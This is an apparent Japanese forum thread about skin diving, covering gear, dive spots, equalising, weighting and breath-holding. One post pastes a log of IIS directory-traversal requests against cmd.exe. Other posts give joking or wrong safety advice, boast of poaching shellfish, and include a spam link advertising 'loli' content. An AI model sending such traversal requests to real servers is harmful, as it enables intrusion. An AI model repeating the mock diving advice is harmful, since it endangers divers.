まぁあれだ１よ、、 排水弁にゃ、ある程度テンションかかってるから じわじわした変化なら大丈夫っぽいってこった。 へたってたら知らんが。。。

なるほど今度ためしてみる
しかし豪快に潮吹き出来ないなら困るが

置換は豪快な潮吹きはできないぞ。
っていうかそれをしなくていいから余計な体力を使わなくていいっていう技だ。

x

ちょっと上で溺れかけたってネタを書いた者だけど、
ちなみにあれも置換法をしようとしての失敗。
慌ててるとダメという見本のようなミス。

ちなみに皆さん、タバコ吸ってる？
この趣味のためには止めた方がいいと思う？

痴漢法なんてむずかしく考えないでよ、ただ水面がちかずいてきたら息はくだけだよ。
タバコはやめなくてもいいんじゃないかな〜、あくまでも遊びだからね。
ただ、もっと深く潜りたい、自分の限界までチャレンジしたい、と思ったらやめたほ-がいいのかも、、、。
でも、おれは缶ビール飲みながらおよいでるよ〜ん。
ダイビングじゃないんだからさ〜。ま、あくまでも自己責任とゆ-ことで。

>>392
血中のヘモグロビンとタバコからの一酸化炭素が結合すると酸素運搬能力が落ちる
から確実に潜水限界時間は落ちるよね。
でも、一泳ぎした後のプカーはやめらんないんだよな。ニコレット買おうかな

置換法は水面に出る直前、頭をスウェイバックして、出た瞬間顎を
引けば自然に排出されます。ブラックアウトしてもそのままプカー。

かおは水面にださないよ〜う
スノーケルのさきっぽだけだよ〜う
395はチカン法じゃないよ〜う

すまん表現が悪かった。もちろん顔は出さない。

そうか確かに痴漢法じゃあないな。自然排水法？

古いダイバー（二世代くらい前）のやりかた。

許されよ。

でも、いっぱいいっぱいで上がるときは、ものすごいスピ-ドになってるから肩あたりまで水面にでるよ〜う
そ-ゆ-ときは395みたいになるよ〜う
二世代くらいってどれくらいまえのはなしだよ〜う
話し聞きたいよ〜う

あ〜うらめしい、うらめしい、あ〜
いったい何時いけるやら
いいかげんしてほしいよ

>肩あたりまで水面にでるよ〜う

ちょっと待ったあ。それは弛緩も同じだな。
あまり厳密に言っても、うーん頭は出るが
顔は出ないと。普通にやっていることなので説明
の方が大変だ。

で、二世代前とは1980年代初頭にすでにダイバー暦20年の
連中のことですな。PADIなら三桁ナンバーのイントラだ。

お午くらいから雨になる事は知っていたが、週に一度はとりあえず潜らなくては
身体に悪いので、今日も行ったのさ。
でもただの雨ではなかった。サンダーストームと化した一帯は、波高こそ1ｍに
満たなかったが、荒れ狂う稲光が海底（せいぜい10ｍだったけど）にまで届くというモノ凄さ。
近くに落雷しても感電することはないだろうとは思っていたが、あんなに発生する頻度が
高い稲妻は初めて見た。
まさにローリングサンダー。
黒雲に覆われて海中は真っ暗だし、だんだん気味が悪くなってきたので、落雷しません
ようにと祈りながら水面をスノーケリングで急いだ。
もちろん大雨ざーざーだが、こっちの方はほとんど影響ない。スノーケルには
どんどん雨粒が入ってくるけど、呼吸に支障があるほどでもない。
結構自分では冷静なつもりだったのだけど、ようやく海岸に辿り着いた途端に、
脚がビキビキって攣りだした。呼吸も潜ってる時より激しかった。鼻水もいつもの3倍出た。
実はよっぽど怖かったのね、ボク。
が、帰り支度をし終わった頃、突然雲が切れて夏の太陽が見え出したのさ。
もう少し我慢して浮かんでれば良かったって気持ちが湧いてきて、虚しさに拍車をかけた。
いや、あそこで戻ったのは英断だったさ、と心で呟き、ピースに火をつけた。

ちなみに今日の稲妻はラベンダー色より少し青みが強いとても美しい色をしてた。
あの網膜に焼きついた稲光の色だけしか今日の心の栄養にはならなかった。
ふっ、おセンチなくせに半端な文章だな。

空気タンクごとくわえて５分ぐらい潜れる、小さいタンクのやつ、
何て言う奴でしたかねえ、売ってる所有ったら教えてください。

神奈川県内で素潜りを出来るスポットってあるんですか？
江ノ島や海の公園は水が濁ってて、魚が見えなさそうだし・・・。
どなたかご存知の方、宜しくお願いします！

ない！濁っているかこそいいんだ！味噌汁だからいいんだ！
透明度ゼロの海で水深計みながら浮上する、これぞ神奈川の海での素潜りなんだ！！
う〜ん、なんてアドベンチャー。

>>402
製造中止

>405
マジっすか。

>>402
エアーフィンだよ、MICで売ってるよ。
http://www.airfin.com/
>>405
探してる人に、いいかげんなこと言うなよ。

>402
ブーメランとかいう商品はたしかに生産中止になったと思いますよ。

テクニカルダイブで緊急用に持ってくようなやつを探せば今でも手にはいると思いますけど。
何回か呼吸したらエアが無くなるくらいしか容量はないみたいですけど。
詳しい人あとはよろしく。

ブーメランもそうだが、、
数分のために十何万も払えないよ。
エア充填も高いしなー
たかが数ｍだったらそんなもんいらん
値段も実用性もすべてが中途半端だぞ。

同じ金出すならCカードとるか、
気になるフィン買いあさった方が256倍いいな

腹へったー

>>407
しったか振りかざして混乱させるなよ(ﾌﾟﾌﾟ

まぁいいじゃん、素潜り仲間なんだからさ〜。

ところで、神奈川や静岡あたりの海でモリを使って素潜りを出来る
ポイントってあるんですか？
水が綺麗でそれなりに魚がいると満足なんですけど。
やっぱし宇佐美とかまで行かないと駄目なんですかね？

いっぱいあるけどさ〜、、、























おしえてあげないよ。　　　　　　　ジャン！！

市ね　ｱﾌｫ

デモサー、弐ちゃんじゃ言えないよな〜。

荒れ荒れ注意報発令中

>413
水中銃持って毎年行くとこあるけど、ここでは教えられない。

>>411
正確な情報のどこがしったか振りなんだよ。
混乱させてるアホはおまえだよ。
消えろ。

海水浴客は大瀬崎でもモリ使ってるぞ。

四国の王越ってとこは楽しかった。

先端でスピアやりたいっす。

森,銛ってナにつくか言ってみな
カワハギ,コロダイとかついて喜んでんじゃねーぞ
タカノハっ？

大瀬でイシダイ突いたりアオリイカ捕まえたりしてますた。

ま、じ、で！！
ネタだろ？
あれだけダイバ-がいると無理だろ。

８月でも空いてるときあるよ。平日で台風が伊豆直撃とか。それでも湾内は潜れた。

初めて大瀬崎を見た。。。。

D-DAYの海岸かと思ったYO

>>427
ﾜﾗﾀ
２０年前はただのイナカ海水浴場だったんだけどな。
そのころはモリも使い放題だった。（一般客は相当怖かっただろうが(w
ダイバーはあんなところで潜ってなにが楽しいのだろうか？？？

大瀬崎って素潜りするにはどうでしょうか？
もしスキンダイバーがいるようなら、今度行ってみようかな。

はじめまして、自分神奈川某所にての、素潜ラーです。
ヨロシクドウゾ！！

元気いいね。

元気のいい素潜ラ-はどこ行った？

参上！
金曜行こうかとおもたら曇りらしいので
悲しんでました。。

こうなったらスーパーで海の幸たらふく買って
バーベＱ大会だぜ！！

お前、いいのりしてんあ〜。

433は５ｋｍのフリッパーにトライする気はない？俺は体力落ちて挫折中

5ｋｍはきついな〜
おやじ的には、ね〜ちゃんとか海の幸がないといけないよ。

>436
スキンでねえちゃんはきつい注文かと。
ダイビングならゴロゴロいるけど。スキンもできずにダイビングとは
恐れ入る女ばかりですなあ。命知らずめ

スキンもつけずに中だしとは恐れ入る女ばかりですなあ。怖い者知らずめ。

フィン スクーバプロ すらすと
もっともっといいフィン有ったらよろしくね！

いろいろ言われてるけど、ワープいいよ。
ちなみにオレの足のサイズが26ｃｍで、ミュ-ブーツが25ｃｍ、ワープがＭできつきつだけどこれがいいのよ。
ず〜とB1にミュ-のＭだったけど、このたび新調しますた。
タンクしょうときは、ミュ-のＬだけどね。

ワープの色は、青だよ。

>>439
C4でしょうか。これより進むフィンを履いたことがない。

Sプロのフィンって水中ではいいけど水面移動はきついと思うのは俺だけかな

>1
ちと高いけどC4最高だよね！
使い始め時イルカで真剣泳ぎ使ったら足の筋１週間ほど逝ってしまった経験ありだけど、
慣れれば気持ち良いくらいにしなりながら進むよね。取り扱いに気を使うけど。。。
でもやはり、漁の時は普通のゴムフィンに限るのだ。

今ワープを検索してみてましたが(初めてこんなの知りました)
でも巣潜り主体ですからねえ、2時間くらい泳いでます
今のジェットすらはチョッと硬く感じますが水面移動は悪くないです
足が疲れると進んでないような気がしますが,むしろ体験ダイビングで
流れが速いとこはスピードでないような気がします(水中）

潮が込んでくるとサラシガ発生します｡そのときに波に翻弄されるのを防ぐため
よりいいフィンがあればと、あんまりだと潜って泳いだほうが岸に戻れそうと
おもうけど水中移動だとフィンにロスが発生してるような感じがすごくありますんで

C4の詳細を知りたいです。
教えて君で申し訳ないですが、よろしくお願いします。

今年の夏は毎週もぐってやる・・・
瀬戸内海だが　渡し舟で無人島まではこんでくれるっす。
瀬戸内海でもきれいですよ。
無人島でテントはって潜り三昧で楽しむ予定っす。

瀬戸内海かぁ。
行ったことないけど、潮の流れが複雑で危ないって聞いたことあるんですが。
実際どーなんでしょうか？
場所によるのかな？源平合戦のあたりはスゴイという話。

いや、ただ羨ましいだけ。くそー、毎週とはいかなくても、沢山潜るぞー！

フルフットのほうがいいと思われ。

>>446

http://www.geocities.co.jp/SiliconValley/5634/t82A8_0004.html#2796

>450
やるな（ｗ
半分はリンク先の通りなんだけど、これまでも結構自力で探したんだよ。
でも、発売元とかスペックとかの詳細は分からずじまいだったわけです。
その上でここなら情報が得られるかとも思ったんだけど…甘いですか？

http://www.google.com/search?num=50&hl=ja&ie=UTF-8&oe=UTF-8&q=C4%E3%80%80%E3%83%95%E3%82%A3%E3%83%B3&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

房総でウエット着て素もぐりやるとそんなにやばいのか？
東京湾フェリー使えば伊豆よりらくに行けるのでいいかなと思ったんだけど。
館山、波左間のあたりでやろうかとおもっているが、漁協に怒鳴られるかな？

伊豆よりはヤバイ。
しかし穴場を見つければ…
って、素もぐり＝採取が前提だよね？
違うなら何処で潜ろうと怒鳴られる筋合いはナイ。（結局怒鳴られるけど）

>452さん、ありがとん。参考になりました。
シカシ…一番安いのでも30000円からか。
それだけの価値はありそうだけど。

>>455
C4はカーボンブレードなので、”ポヨンポヨン”としなります。
ちょうど、下敷きのような感じかな。

履いた感じは、柔らかいのにグングン進む！
ゴムフィンやプラフィンでは味わえない感覚です。
http://www.c4carbon.com/

この夏の目標は20ｍなんだけど、
何度挑戦しても14ｍが限界なんだよね。
深く潜るだけが楽しみではないとは言え、チョト悔しい。
そのウワサのC4を履けば限界突破も簡単だろうか？

それと同じC4でも製造時期によって多少硬さが違うようです。（僅か）
カーボンの目地が細かい方が昔のモノで、カーボンの目地が大きい
モノ（上のHPの目地くらい）は今現在生産されているもので、
今の方が若干硬く感じられます。
カーボンの模様と硬さ・・・ここらへんは個人の好みですね。

それに思ってる以上にカーボンは欠けたりするので取り扱い注意な上に、
岩場などで傷が付きやすいです。そこらへん考慮してくださいね。

瀬戸内海最後島の長浜町の青島行った事ある人居てないですか？
情報希望です。

聞く場所がないのでここで聞きますが、８月に丹後半島で泳ごうかと思うのです。
海はいつぐらいまで泳ぐのに適していますか？２０日辺りにしか行けないのですが・・

>>460
水温だけなら１０月中頃までは全然平気だと思う
ウエット着てるから参考にならんかな

まぁ、風が吹いたらイヤになるくらい寒いけどな

>>461
ありがとう

見た？3ちゃん。

カルパというのは何のことですか?

http://www.yasamsam.com/index.php?id=2073

>>463
3ちゃんみた。
番組中のイルカ達は野生なのだろうか。
慣れすぎているように感じるけど・・・

イルカって結構ああだよ。
今度御蔵島行ってくる。
誰か御蔵島行った？感想聞かせて。

船頭によって当たり外れ大きいよ。

468>
情報ありがとう、船頭さんは選べるの？
行き当たりばったりなのかな？

真鶴の琴が浜っていい所ですか？
魚沢山見たいのと、美味い店ある？

>>467
伊豆より水温が２，３度高いのでシーガルでも十分なほど暖かかった。
そしてイルカは思った以上に速かった。
イルカに乗る（笑）つもりで行ったけど、絶対不可能だと悟ったよ。

船頭は選べるというか、イルカ船予約してないの？
バンガローなのか民宿なのか分からないけど、
イルカ船を何処にするかで自然と船頭は決まるのだ。
もっと言っちゃうと、何処に泊まるのか≒イルカ船＝船頭
なのだ。

>>470
470さんの素潜りのスキルがわからないけど、
波が穏やかで水深も10ｍぐらいならすぐにとれるから練習にはいいかも。
ただ、透明度がいまいちなのと、ダイバ-達がちとウザイ。
めしは、目の前のうに性がいいと思うよ。たかいけどウマイ。

>>470
私も知りたいです。あとクラゲ情報も（ｗ

島根で潜りたいんですけど、恐い漁師さんに見つからず楽しく潜れるところない
ですかね？　あわびとかは取れないでしょうけど、サザエの一・ニ個ぐらいを皆で
わいわい採れるようなとこって？？
あ、一応隠岐島は高いんでムリ。

>>474
サザエの一個や二個ならどこでもいてるでしょ

例えば、砂浜の消波ブロックや漁港の中とかでも

>>472
情報ありがとう。
琴が浜行くことにしました、うに清は友人からも薦められていた店です、楽しみにしてます。

>474
マジレス。
去年までは島根半島でもOKスポットはいくつかあったんだけど、
今年は全体的に不漁らしくて、厳しいオフレが各漁協から通達された。曰く、
「サザエ、アワビを獲った者は、窃盗罪とみなして厳重に対処する」

来年はどうなるか分からないということらしい。とにかく今年は遠慮してくれと
言われた。
通達のあった日にいきなり注意を受けたからな、確かになかなか厳しいぞ。

まあ、海水浴として行って、たまたま見つけた1個2個をそっと持って帰るくらいなら
おそらくどこでも大丈夫だよ。
どっちみち漁師に見つからないなんてあり得ない。パトロールしてるってワケでもないが、
しょっちゅうウロウロしてるもん。彼らの仕事場だからね。
服装や装備を見て怪しいと思ったら飛んで来るぞ。

今島根の海で漁協や漁師さんに絶対叱られないポイントは、竹島くらいのものだよ。
他所の国の警備艇に射殺されるかも知れんけどな。

>>474
サザエの一・ニ個ぐらいなら漁師さんからもらえよ。
漁師さんに世間話から話かければサザエくらいもらえるよ。
サザエの一・ニ個ぐらいでﾀｲｰﾎじゃアホらしいだろ。

窃盗はないとおもよ。それは漁協が勝手にいってるだけじゃない。
そういう勘違いな漁協って多いよ。
まーなんにしても漁師とのトラブルは避けるべきで、そう考えると
採らないのが一番だね。
楽しいのにね、採って海で焼いて食べるの
生活を守るのに必死なのはわかるけど、一般人のささやかな楽しみを奪って
自分達が乱獲して、結局はなくなって今になってるというのをわかって欲しい
よ、わからないんだなあの人たち
そういう人ばからいでもないんだけど、疲れるねー、日本の海

まぁ、感情的で野蛮な人と分かり合えるのは疲れる罠。
自分の生活以前にちゃんと知識を学んで欲しいよね。
勘違いしてるやつ多すぎ。UZEEEEEEEEEEEEEEE

>自分達が乱獲して、結局はなくなって今になってるというのをわかって欲しい

今は天然のサザエ・アワビだけじゃ漁師は商売にならないから、どこの漁協も
多額の資金を投じて稚貝を放流してます。
漁師はサザエ・アワビを採るために漁協にお金を払い、漁法・漁具・時間・
貝のサイズ等の規制を受けながら漁をやってます。

潜水具を使わなくとも、遊漁者（一般の方）が漁業権の対象となっている水産
動植物（アワビ、サザエ、アサリ、ワカメなど）を採ると漁業権の侵害となり、処
罰の対象になりますよ。

俺は漁師じゃないから、絶対に採るなとか言うつもりはないけどトラブルにな
らないように、各地の漁協のきまりは守りましょうね。
俺も昔は採ってたけど、今は漁師さんとコミュニケーションを取って貝や魚を
もらってるよ。初めて行く所でも、うまくコミュニケーションを取ればもらえる。
「こんなにいらない！」ってくらいくれるから、マジで・・

アワビ、サザエなどを一般人が獲る事はいわゆる「漁業権の侵害」（普通に言えば密漁）
という罪となるのは間違いない。これはおそらく全国どこでもいっしょ。
さらに憶測だが、稚貝を放流したものや養殖したものを獲れば「窃盗」に問われても
不思議ではないと思う。
ただし、生簀で囲ったところではない場所で貝を獲っても、それが買った稚貝を育てるのが
目的で放したものか、自然に生まれ育ったものなのか区別をするのは事実上
不可能だろうから、実際には窃盗罪は成立しない気がする。
もうひとつついでに…
漁業権の侵害はいわゆる親告罪なので、権利を持っている人（団体）が告訴しなければ
罪とはならない。つまり貝を獲った時点ではまだ警察のご厄介にはならないって事だ。
さらに、岸へ上がった時に漁師さんたちに見つかって不当な暴力を振るわれたりしたら
反対に傷害罪で訴える事もできる。
だからちょっと複雑なんだけど、密漁者＝泥棒という図式には成りにくいが、権利を侵害した
事が裁判によって確定されれば、裁定に従わなくてはならなくなる。
多分、余程悪辣な密漁者でなければ、大抵は罰金（と、保証？）程度で済むんだろうけど
やっちゃいけないと法律で定められてる行為をちょっとの欲で犯し、告訴されるのは
まったく割に合わないとは思う。
ほとんど>479の前半4行を難しい言葉を使って表現しただけとなってしまいました。スマソ

２行目から読んでないけどな。

↑おまえみたいなヤツ消えろ、しらける。

この糞暑いのに頑張ってるねぇ。

貝採りなんて、万引きみたいなもんだな
つい、出来心で簡単にできるし、罪の重さも万引きと同じくらいだろ
まぁー、前科者のリスクをしょってやって下さい

貝採りなんて、日課みたいなもんだな
海も近いから週末簡単に出来るし、罪の重さも海水浴と同じくらいだろ
まぁ〜、場所を選んでやって下さい

雲見の千貫門ってどうよ？

>>488
シラネ-っつの！

同意。
自分で見てきなさい。

>>474
よーするに、アレだろ？「俺は貝を獲れるぜー」って自慢してーんだろ（藁

俺なんか狩猟者免許持ってるからトド撃てるんだぜー

ってスレ違い鬱

４７４です。場所は詳しく言えませんが、島根の海に潜って来ました。
今日は午後から天気も悪く、波も高かったですが、８００ｇのアワビ
５枚とサザエがゴロゴロ取れました。漁師とのイザコザもありました
が、なんとか無事帰れました。明日も行ってこようと思います。

夜、伊勢エビを捕ってたら、逆にコッチが捕まりました。

　素潜りはじめてみようかと思うのだけど、コレって
教えてくれる所ってあるの？
　スキューバーとかはよくみかけるんだけど・・・。

マスク無しで潜ると長く潜れる。意味無いか･･･

先週伊豆で潜ってきたよ。

白いウミウシと遭遇したりして楽しかったでした。

しかし耳抜きが片方だけうまくできなくて10mももぐれなかった。
もっと深く潜れるようになりたいなあ

ウェットスーツを着たときのウェイト量ってどうやって決めるの？

体重の２５％を目安にすればいいよ。

それじゃ死んじゃうよ

500!

スーツの生地の厚さや個人の体脂肪率によって適正ウエイトは違うからね。
俺は海に直立で浸かって、マスクのレンズが半分くらい水上に出るくらいが
適当なんだって習ったけど。
だけど、俺はスーツ着てないときでも2ｋｇしてる。5ｍくらいで中性かな。

>俺はスーツ着てないときでも2ｋｇしてる。5ｍくらいで中性かな。
普通スーツ着ないで2ｋｇだったらそのまま沈むと思うけど。。。。
5mで中性？体脂肪率いくつ？

１さんへ

500レスおめでとう

>501
デブなのよ（ｗ

>俺はスーツ着てないときでも2ｋｇしてる
それはあきらかにマイナス浮力だよ。
標準体型の人は水着姿でウエイト0で中性浮力のはず。

スキンダイビングでマイナス浮力はデメリットばかり。
ジャックナイフは中性浮力でも力を抜いてできるし、マイナス
浮力だと浮上する時にたくさんキックしなければいけないしな。

邪魔

>504　標準体型の人は水着姿でウエイト0で中性浮力のはず。

んー？　体脂肪率が7〜8％くらいの人ならそうかもね。
キミも普通に力を抜いてたら明らかに海面に浮くでしょ？　
それは浮力があるってことじゃん。
成人なら体脂肪率がそれくらいの人は標準とは言わないと思うな。
もうプロスポーツ選手並み（種目によるが）のアスリート体型か栄養が足りてないかだろ。

第一>>500＝>>503は自分でデブだって言ってるじゃん。

>>506
>キミも普通に力を抜いてたら明らかに海面に浮くでしょ？
浮くの定義がよくわからんけど標準的な体型の成人の場合、裸や水着
着用で海面で立った状態になると、目のあたりに水面がきます。
浮いてるといえば浮いてるけど、私はこの状態を中性浮力と認識してま
す。私はダイビングのダイブマスターを持っていて、お金をもらってスキ
ンダイビングの指導もできる身ですが、ダイビングの指導団体の中性
浮力の定義も同じです。

いろんな人達の中性浮力を見てきたが、標準体型も太った人も海水面
での中性浮力に差はないよ。確かに脂肪は比重が筋肉より軽いが、体
脂肪率10%〜30%くらいじゃかわりないよ。

中性浮力とは、身体が浮きも沈みをしない状態。。。。。。。。
確かに間違ってないが、馬鹿だなこいつ。

>>507
そりゃ中性浮力でなく適正ウエイトのことだろ！
まぁ〜、言いたいことはわかるがな。

そうだな、混同しているようだ。がんがれＤＭ！

今日、鳥取県の海で潜って来ました。１５ｍほど
潜ったのですが、海底に首長竜らしき生き物が！！
あわてて浮上しました・・・。

>511
たいへん興味深いお話で、そのまま話題を膨らませたい気持ちもあるのですが、
それほど盛り上がらなかったらお気の毒ですので、以下のご案内をいたします。

人に話しても信じてもらえない動物を見た人の数[２]
http://science.2ch.net/test/read.cgi/wild/1026094053/

海の中は何が居るか解からない
http://science.2ch.net/test/read.cgi/wild/1018177515/

四国の太平洋側で水面に何らかの物体が頭を出してまた潜ったのでスキンかと思ったが
スノーケルはないし,チョッと沈んだら今度は200くらい離れたとこに現れたので
人じゃないと確信。
いよいよあれは何だと一人興奮して海面をみるもネッシーにそっくりなのよ形が
いやアザラシの頭だ,それに似てる
生物版も見てたが出てるはずがない
しかしもう一度そいつを今度は地域はいっしょでも違う場所で見た！
時間はいずれも夕方、水面に頭が少し出て,浮いてる時間は短い

でもたぶん亀の産卵の季節だから亀しか考えられない
でもあの輪郭がなあ〜〜〜〜
亀より胴が長かったような。あざらしいないしなー
でもこれに一番似てたよな〜

荒れ荒れ海で溺れかけました〜。
なんか無茶したくなったんだよね〜
この所台風ばっかでさぁ・・・
家のベットの上でイメージトレーニングばっか
してたからさぁ。バカ？

ちょっとバカ（ｗ
でも気持ちが分からなくもないよ。
生還オメ

外房の素潜りポイントはどこが最高ですか？

　　　　　　　　　　　　　 ∧＿∧　　／￣￣￣￣￣￣￣￣
　　　　　　　　ﾅﾃﾞﾅﾃﾞ （´∀｀　）＜最近いいネタないんだよね〜。。。
　　＿／￣￣￣￣＼⊂（　∪　）　＼＿＿＿＿＿＿＿＿
　�煤Q　　　 ∪　´∀｀）(＿（＿）
　　　　￣￣￣￣￣￣ ﾓｷｭﾓｷｭ
　　　　　　　　　　　ﾟｏ
　　　　　　　　　　　　〇
　　　　　　　（⌒⌒⌒⌒⌒⌒⌒⌒⌒⌒⌒⌒⌒⌒⌒
　　　　　　　（￣＼　ふふ。俺はここで毎晩フィーバーだぜ！
　　　　　　　（　　ﾟДﾟ）y─┛~~ http://got.to/hadakaa
　　　　　　　（￣￣ 　　　 　　炉利にはタマラナイゼ！
　　　　　　　　〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜
サンプルもある。（タダ）まあ、一日しのぎのネタにしかならんが見て損は無いと思う。タダだし、。。

今から、風呂で息止めの訓練してくる。
４分出来るようになった。

失神しないように寝

ようやっと夏休みになったから、慣らしに三浦半島に行くことにした。

毎回思うが海の近くに住んでる人がうらやましい…

海、近いけど東京湾・・・。　近くても行きたくないからなぁ・・・。

週末を利用して熱海の沖の初島に素潜ってきた。
透明度は悪かったけど、なかなか良い海だった。ソフトコーラルがたくさん。
お手軽に島気分を味わいたいときにはいいかも。

マスクなし。ノーズクリップとスノーケルで潜ってますが何か？

>>523
良い考えだと思います。

>>523
マスク無し？
海水だと屈折率の関係で、ボケボケになって何も見えないだろうよ。

潜水チャレンジャー登場

ゴーグルとノーズクリップで潜る人はいるよな。ピピンとか、ダビデとか。
スクイーズは大丈夫なんかな？
7mくらい潜ると、めんたま飛び出そうになるけどなぁ。

息止めを長くするにはどうすれば良いですか？
今は陸上で3分半まで止められるようになったのですが、
そこから全然延びません。
臆病な性格も有り余裕を持って潜りたいので、
息止めを長くできたらと思います。
普段からジョギング、水泳、フットサルと運動はしています。

液体ゴーグルでも使ってんじゃないの？

http://www.fluidgoggles.com/indexf.html

ノーズクリップとスノーケルだけって書いてあるんだからそうなんじゃないの？
よく見えた方が楽しかろうに。

>528
それで水中ではどれくらい息こらえができるの？
ジャックのようにヨガでもしてみればどう？

スタティックの世界記録は8分だってさ

みんなマスクどんなの使ってるの？

先日ミニマ買った。視界多少狭いけどなかなかいー感じ。
それと先日スフェラ借りたけど、水中だと思っていた以上に視界歪むんだね。
慣れればミニマよりいーかも。

液体ゴーグル？？

>>529
こんなものがあったとは・・・。欲しい・・・。
情報ｱﾘﾏﾄ

液体ゴーグルってどうやって使うんだ？

トップクラスの人たちって水中専用のコンタクトレンズとか使ってるよね。むちゃくちゃ高いらしいけど。

>>529
なんじゃこりゃ＞液体ゴーグル
今読んでみたけど、値段が$395だとぅ？はぁ？
オマケにレンズの強度がAとBの２種類あるけど
"Unfortunately there is no way to know in advance which power fits you best"
"どっちがてめーに合うか解らねーから、勝手に決めやがれ"
だとぅ？

ふざけてんな（藁

>>538
要は「出来ることなら作っている俺の所に来て、実際使って試してくれ」って
ことらしいよ。最初は元々自分のために作ったもので、そのことが口伝いで広
まって問い合わせが増えたからああやって売るようにしたらしい。

>>536
ゴーグルの空洞(?)の部分に液体を入れて使う。深く潜ってもスクイーズ無し、
しかもちゃんとものが見える...らしい。

ここまでいくと「素潜り」の気軽さはもうないね。

>>539
書き込みスマソ

全部読んで気が付いた鬱だ視のう

耳抜きがやりにくい。やりやすい方法を教えてくれれば嬉しいのだが

鼻の中に指突っ込んで塞いで力かければ

「液体耳！」
潜って痛くなってくるあたりの深度で、もうこれでもかとばかりに
ヴァルサルヴァ。だんだん内耳に液がたまって耳抜きなんか必要なくなるよ。
これと液体ゴーグルを使えば怖いものなし。

最近詰まらんレス多し
海いけないやつばっかし何かな

>542
やりやすい方法かあ。
鼻をつまんで気圧を上げる以上に簡単な方法ってないだろう。

もしかして痛くなるまで我慢してから耳抜きしようとしてないか？
潜り始めてすぐくらいからやれば比較的楽にできるぞ。
5ｍくらいまではちょっと圧を感じる度にこまめに耳抜きしないと。

慣れの問題でもあると思うが、どっちみち繰り返し練習しなきゃな。
何十回やっても上手くいかないときは、残念だがこの趣味をあきらめてくれ。

スキンダイビングのログってどんな事書くの？

215
SERVER1 - - [15/Mar/2002:06:35:14 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:35:19 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:35:24 +0900] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:35:30 +0900] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:35:35 +0900] "GET /msadc/..%5c../..%5c../..%5c/..ﾁ../..ﾁ../..ﾁ../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:35:40 +0900] "GET /scripts/..ﾁ../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:35:46 +0900] "GET /sc?/c+dir HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:35:51 +0900] "GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:35:57 +0900] "GET /scripts/..?../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:36:04 +0900] "GET /scripts/..@5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:36:09 +0900] "GET /scripts/..@5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:36:15 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
SERVER1 - - [15/Mar/2002:06:36:21 +0900] "GET /scripts/..%2f../winnt/system32/cmd.exe HTTP/1.0" 404 215

>547
スキンダイビングのログを書いてた時があります。

・水温
・ポイント
・天気
・気温
・透明度
・最大水深
・潜水時間（トータルの潜った時間＆一回の潜水で一番長く潜れた時間）
・使用器材

こんな感じ。

>>549
ありがとうございます。最大潜水時間はかきこんどくといいですね、たしかに

>>548

それは攻撃されてるサーバーのlogだろ。

C4を使ってる人たちにお尋ね。
�@.4種類あるみたいだけど、皆さんどれを使ってるの？
�A.ブーツは専用のものの方がいい？

ちなみに私のレベルを到達水深で言えば、その気でアタックした最高が18ｍ。
普段は10〜12ｍをうろうろって感じっす。
現在使用してるフィンはメーカー名も不明の釣具屋で売ってたヤツ。
これから秋にかけて本格的にスキンダイビングを楽しみたいと思ってるんで
よろしくどうぞ。

猫に小判。豚に真珠。

>>553、そこまで言うのなら自分のレベルを明かして（例えウソでも）
書くのが2ちゃんと言えども礼儀では？

>>552
自分はＣ4使ったことないけど、他にも優れたフィンはあるぞ。
ガラの一番柔らかいヤツなんかが合うんじゃないかと思うが。
試してみろって気軽に言えない値段だからな。
まあ、言っちゃなんだがブランド的に有名なフィンなら、どんなのでも
今のフィンより優れてると思うぞ。

自分も最高の水深はそんなもんだよ。
っていうか、ここに来てるやつらもせいぜいその程度だと思うぞ。

>>542
鼻つまんでちょっと加圧して、その時に唾を飲んでミソ。
案外すっと抜ける人が多い。

>>552
Ｃ４おすすめです。
猫に小判ってコトはないと思いますよ。
同じ１８ｍまで行くにもしっかりと水をつかむフィンの方がずっとラクに潜れるし。

ブーツは人それぞれ好みがあるし、足に合う合わないもあるからなんとも言えないけど、Ｃ４のブレードにピカソのブーツって組み合わせは耳にします。

本気でやってる人にはＣ４の８０か２５を使っている人が多いかな。
ウンベルトは８０、ダビデカレラは２５を使ってるそうですよ。

Ｃ４は古いのと最近のでちょっと構造が変わってますから最新の製品を手に入れた方が良いと思いますよ。

80を日本人で使っている人はほとんど見ないです。
やはり平均身長が低いのと足が短いからね・・・
それと、なんに使うのか分からないけど競技に
使わないのならC4はあまりお勧めできです。
柔らかい25でも足に結構な負担がくるし、
取り扱いに気を使わないといけません。
正直遊びには不向きだと思います。
もしどうしてもロングフィンを履きたいと言うのであれば、
ガラなど遊びにも十分耐えうるフィンから始めてみたら如何でしょう。

オイおまえら、漏れに適切なウェイトを教えろ！
全長1.65m 重量0.065�d、彼女歴無し、自慰は週３回、おかずは
私意万豆の広告だ！

体脂肪率は27%で、乳首の周りは毛が生えてるぞ

適切ウェイト言う前に27%を何とかしなよ！
15%だと水着＆ウェイト無しで沈むよ。

>>557
おまえは明らかに自慰の回数が足りない。
スキンダイビングするには毎日自慰して代謝を高めなければだめだ。

>　1　は　モ　ヒ　カ　ン　！　

>>544
それを世間は「滲出性中耳炎」と呼ぶのではないかい。

そう。でも目的は達成！
耳垂れも出るよ。

>>557
ちょっとだけ上のほうに書いてあったろ？
